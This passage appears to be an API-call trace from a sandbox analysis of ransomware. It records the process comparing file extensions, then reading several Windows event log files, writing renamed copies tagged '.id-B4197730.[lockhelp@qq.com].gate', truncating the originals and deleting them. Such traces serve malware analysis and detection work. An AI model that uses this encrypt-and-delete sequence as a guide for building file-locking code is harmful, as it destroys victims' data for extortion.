62 [0275.690] lstrlenW (lpString=".dbf") returned 4 [0275.690] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.690] lstrlenW (lpString=".1cd") returned 4 [0275.690] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.690] lstrlenW (lpString=".jpg") returned 4 [0275.690] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.691] lstrlenW (lpString=".doc") returned 4 [0275.691] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString=".docx") returned 5 [0275.691] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.691] lstrlenW (lpString=".pdf") returned 4 [0275.691] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString=".xls") returned 4 [0275.691] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString=".xlsx") returned 5 [0275.691] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.691] lstrlenW (lpString=".ppt") returned 4 [0275.691] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.691] lstrlenW (lpString=".zip") returned 4 [0275.691] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString=".rar") returned 4 [0275.691] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString=".bz2") returned 4 [0275.691] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString=".7z") returned 3 [0275.691] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.691] lstrlenW (lpString=".dbf") returned 4 [0275.691] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.691] lstrlenW (lpString=".1cd") returned 4 [0275.691] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0275.691] lstrlenW (lpString=".jpg") returned 4 [0275.691] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.692] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.692] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47 [0275.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.692] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0275.692] CloseHandle (hObject=0x398) returned 1 [0275.692] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20 [0275.692] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.692] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.692] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0275.693] GetLastError () returned 0x0 [0275.693] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.811] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.813] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0275.813] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x132, lpOverlapped=0x0) returned 1 [0275.813] SetEndOfFile (hFile=0x39c) returned 1 [0275.813] CloseHandle (hObject=0x39c) returned 1 [0275.815] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.815] SetEndOfFile (hFile=0x398) returned 1 [0275.816] CloseHandle (hObject=0x398) returned 1 [0275.816] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.816] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1 [0275.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.816] lstrlenW (lpString=".doc") returned 4 [0275.816] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.816] lstrlenW (lpString=".docx") returned 5 [0275.816] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.816] lstrlenW (lpString=".pdf") returned 4 [0275.816] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.816] lstrlenW (lpString=".xls") returned 4 [0275.817] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString=".xlsx") returned 5 [0275.817] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.817] lstrlenW (lpString=".ppt") returned 4 [0275.817] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.817] lstrlenW (lpString=".zip") returned 4 [0275.817] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString=".rar") returned 4 [0275.817] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString=".bz2") returned 4 [0275.817] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString=".7z") returned 3 [0275.817] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.817] lstrlenW (lpString=".dbf") returned 4 [0275.817] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.817] lstrlenW (lpString=".1cd") returned 4 [0275.817] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.817] lstrlenW (lpString=".jpg") returned 4 [0275.817] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.817] lstrlenW (lpString=".doc") returned 4 [0275.817] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.817] lstrlenW (lpString=".docx") returned 5 [0275.817] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.818] lstrlenW (lpString=".pdf") returned 4 [0275.818] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString=".xls") returned 4 [0275.818] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString=".xlsx") returned 5 [0275.818] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.818] lstrlenW (lpString=".ppt") returned 4 [0275.818] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.818] lstrlenW (lpString=".zip") returned 4 [0275.818] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString=".rar") returned 4 [0275.818] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString=".bz2") returned 4 [0275.818] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString=".7z") returned 3 [0275.818] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.818] lstrlenW (lpString=".dbf") returned 4 [0275.818] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.818] lstrlenW (lpString=".1cd") returned 4 [0275.818] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0275.818] lstrlenW (lpString=".jpg") returned 4 [0275.818] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.818] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.819] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0275.819] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.819] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0275.819] CloseHandle (hObject=0x398) returned 1 [0275.819] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0275.820] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.820] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.820] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.820] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.820] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0275.820] GetLastError () returned 0x0 [0275.820] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.879] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.882] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0275.882] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x136, lpOverlapped=0x0) returned 1 [0275.882] SetEndOfFile (hFile=0x39c) returned 1 [0275.883] CloseHandle (hObject=0x39c) returned 1 [0275.884] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.884] SetEndOfFile (hFile=0x398) returned 1 [0275.885] CloseHandle (hObject=0x398) returned 1 [0275.885] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.886] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0275.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.886] lstrlenW (lpString=".doc") returned 4 [0275.886] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.886] lstrlenW (lpString=".docx") returned 5 [0275.886] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.886] lstrlenW (lpString=".pdf") returned 4 [0275.886] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.886] lstrlenW (lpString=".xls") returned 4 [0275.886] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.886] lstrlenW (lpString=".xlsx") returned 5 [0275.886] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.886] lstrlenW (lpString=".ppt") returned 4 [0275.886] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.886] lstrlenW (lpString=".zip") returned 4 [0275.886] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.886] lstrlenW (lpString=".rar") returned 4 [0275.886] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.886] lstrlenW (lpString=".bz2") returned 4 [0275.886] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.886] lstrlenW (lpString=".7z") returned 3 [0275.886] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.886] lstrlenW (lpString=".dbf") returned 4 [0275.886] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.887] lstrlenW (lpString=".1cd") returned 4 [0275.887] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.887] lstrlenW (lpString=".jpg") returned 4 [0275.887] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.887] lstrlenW (lpString=".doc") returned 4 [0275.887] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString=".docx") returned 5 [0275.887] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.887] lstrlenW (lpString=".pdf") returned 4 [0275.887] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString=".xls") returned 4 [0275.887] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString=".xlsx") returned 5 [0275.887] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.887] lstrlenW (lpString=".ppt") returned 4 [0275.887] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.887] lstrlenW (lpString=".zip") returned 4 [0275.887] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString=".rar") returned 4 [0275.887] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString=".bz2") returned 4 [0275.887] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString=".7z") returned 3 [0275.887] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.887] lstrlenW (lpString=".dbf") returned 4 [0275.887] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.887] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.888] lstrlenW (lpString=".1cd") returned 4 [0275.888] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.888] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0275.888] lstrlenW (lpString=".jpg") returned 4 [0275.888] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.888] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.888] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0275.888] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.888] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0275.888] CloseHandle (hObject=0x398) returned 1 [0275.888] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0275.888] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.888] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.888] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.889] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.889] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0275.889] GetLastError () returned 0x0 [0275.889] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.018] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.020] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0276.020] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x13e, lpOverlapped=0x0) returned 1 [0276.020] SetEndOfFile (hFile=0x39c) returned 1 [0276.020] CloseHandle (hObject=0x39c) returned 1 [0276.022] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.022] SetEndOfFile (hFile=0x398) returned 1 [0276.023] CloseHandle (hObject=0x398) returned 1 [0276.023] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.023] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0276.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.024] lstrlenW (lpString=".doc") returned 4 [0276.024] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.024] lstrlenW (lpString=".docx") returned 5 [0276.024] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.024] lstrlenW (lpString=".pdf") returned 4 [0276.024] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.024] lstrlenW (lpString=".xls") returned 4 [0276.024] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.024] lstrlenW (lpString=".xlsx") returned 5 [0276.024] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.024] lstrlenW (lpString=".ppt") returned 4 [0276.025] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.025] lstrlenW (lpString=".zip") returned 4 [0276.025] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.025] lstrlenW (lpString=".rar") returned 4 [0276.025] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.025] lstrlenW (lpString=".bz2") returned 4 [0276.025] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.025] lstrlenW (lpString=".7z") returned 3 [0276.025] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.025] lstrlenW (lpString=".dbf") returned 4 [0276.025] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.025] lstrlenW (lpString=".1cd") returned 4 [0276.025] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.025] lstrlenW (lpString=".jpg") returned 4 [0276.025] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.025] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.025] lstrlenW (lpString=".doc") returned 4 [0276.025] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.031] lstrlenW (lpString=".docx") returned 5 [0276.031] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.031] lstrlenW (lpString=".pdf") returned 4 [0276.031] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.031] lstrlenW (lpString=".xls") returned 4 [0276.031] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.031] lstrlenW (lpString=".xlsx") returned 5 [0276.031] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.031] lstrlenW (lpString=".ppt") returned 4 [0276.031] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.031] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.031] lstrlenW (lpString=".zip") returned 4 [0276.031] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.031] lstrlenW (lpString=".rar") returned 4 [0276.031] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.031] lstrlenW (lpString=".bz2") returned 4 [0276.031] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.032] lstrlenW (lpString=".7z") returned 3 [0276.032] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 